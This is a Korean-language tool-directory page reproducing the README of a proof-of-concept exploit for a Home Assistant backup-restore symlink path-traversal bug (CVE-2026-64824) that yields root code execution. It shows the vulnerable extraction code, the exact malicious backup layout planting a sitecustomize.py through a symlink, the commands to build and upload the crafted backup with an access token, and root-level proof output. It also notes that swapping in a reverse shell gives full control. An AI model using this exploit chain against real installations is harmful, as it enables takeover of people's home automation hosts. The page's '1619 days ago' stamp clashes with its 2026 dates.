Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-64824-PoC — CVE-2026-64824 — Home Assistant backup-restore 심링크 경로 탐색 → 루트 RCE. 최초의 동작 PoC, 실제 HA 2026.5.4 (sitecustomize.py 덮어쓰기)에서 검증됨. GHSA-cwh8-w64c-4j5h | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-64824-poc
IoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationPayload Development
GitHubboreas37/cve-2026-64824-poc

CVE-2026-64824-PoC

CVE-2026-64824 — Home Assistant backup-restore 심링크 경로 탐색 → 루트 RCE. 최초의 동작 PoC, 실제 HA 2026.5.4 (sitecustomize.py 덮어쓰기)에서 검증됨. GHSA-cwh8-w64c-4j5h

저장소 보기
1619일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-64824 — Home Assistant Core 백업-복원 심링크 경로 탐색 → RCE

CVSS 8.4 (심각) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59

TL;DR

인증된(관리자) 공격자가 조작된 백업 tar를 업로드합니다. 복원 경로는 내부 homeassistant.tar.gz를 filter="fully_trusted"로 추출하며 멤버 *이름(name)*만 검증합니다 — SYMTYPE linkname은 절대 검증하지 않습니다. 절대 경로(예: Python의 site-packages/)를 가리키는 심링크가 그대로 적용되므로, 그 뒤에 기록되는 sitecustomize.py는 추출 디렉터리 밖에 root 권한으로 저장됩니다(공식 Docker 이미지는 HA를 root로 실행합니다). 다음 Python 시작 시 자동으로 임포트됩니다 → root 권한 RCE.

검증 (2026-08-10)

✅ 실제 Home Assistant Core 2026.5.4 (Docker, arm64, Python 3.14.2):

root@kitploit:~
POST /api/backup/upload?agent_id=backup.local  → 201 {"backup_id": "..."}
websocket backup/restore                      → executed (config replaced)

$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

✅ sitecustomize.py가 /usr/local/lib/python3.14/site-packages/에 저장됨(root 소유)

✅ 네거티브 확인: Python 3.14.5의 tarfile은 절대 경로 심링크를 거부합니다(FileExistsError); Python 3.14.2(HA 2026.5.x에 포함)는 이를 추출합니다 — 이것이 이전 빌드가 공격 가능한 이유입니다. HA 2026.7.0에서 수정되었습니다.

버그

homeassistant/backup_restore.py (~v2026.5.x):

root@kitploit:~
istf.extractall(
    path=Path(tempdir, "homeassistant"),
    members=securetar.secure_path(istf),   # validates member.name only!
    filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)

secure_path()는 절대 경로 **이름(name)**과 .. 경로 이동을 거부하지만, 평범한 이름 + 절대 경로 linkname을 가진 SYMTYPE 멤버는 필터를 변경 없이 통과하며, fully_trusted는 tarfile이 이를 검사하지 않도록 합니다.

익스플로잇

root@kitploit:~
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
    --link-target /usr/local/lib/python3.14/site-packages/

# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar

백업 형식 (v2, 실제 HA 백업과 일치):

root@kitploit:~
outer: ./backup.json            {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link           -> /usr/local/lib/python3.14/site-packages/   (SYMTYPE)
inner: data/evil_link/sitecustomize.py                                       (payload)

Python 프로세스가 시작될 때마다(HA 재시작, 컨테이너 내 python3 ...) sitecustomize.py가 트리거됩니다 — 즉 root 권한으로 id > /tmp/HA_PWNED_64824를 실행합니다. 페이로드를 리버스 셸로 교체하면 완전한 제어 권한을 얻을 수 있습니다.

영향

  • Home Assistant OS/컨테이너 설치 환경에서 완전한 root 권한 RCE
  • 백업 복원은 인증된 모든 관리자(및 백업/복원 권한이 있는 사용자)가 접근할 수 있으며, UI의 "Restore backup" 플로우를 통해서도 가능합니다.
  • 복원이 먼저 config 디렉터리를 교체하므로, config가 다른 방식으로 잠겨 있어도 공격이 유효합니다.

수정

HA **2026.7.0+**로 업그레이드하세요(이제 복원 시 추출 디렉터리를 벗어나는 심링크 항목을 거부하는 엄격한 tar 필터를 사용합니다).

타임라인

  • 2026-07: VulnCheck가 취약점 공개, GHSA-cwh8-w64c-4j5h 게시됨
  • 2026-08-10: 이 PoC — 실제 2026.5.4 인스턴스에서 완전한 root RCE 검증을 포함한 최초의 공개 작동 익스플로잇
  • 공개 시점 기준 실제 환경에서의 악용은 관찰되지 않음

면책 조항

연구/교육 목적으로만 사용하세요. 이 취약점은 이미 공개되었으며(GHSA-cwh8-w64c-4j5h) 2026.7.0에서 수정되었습니다. 이 저장소는 방어자와 연구자를 위한 익스플로잇 체인을 시연합니다.

도구 다운로드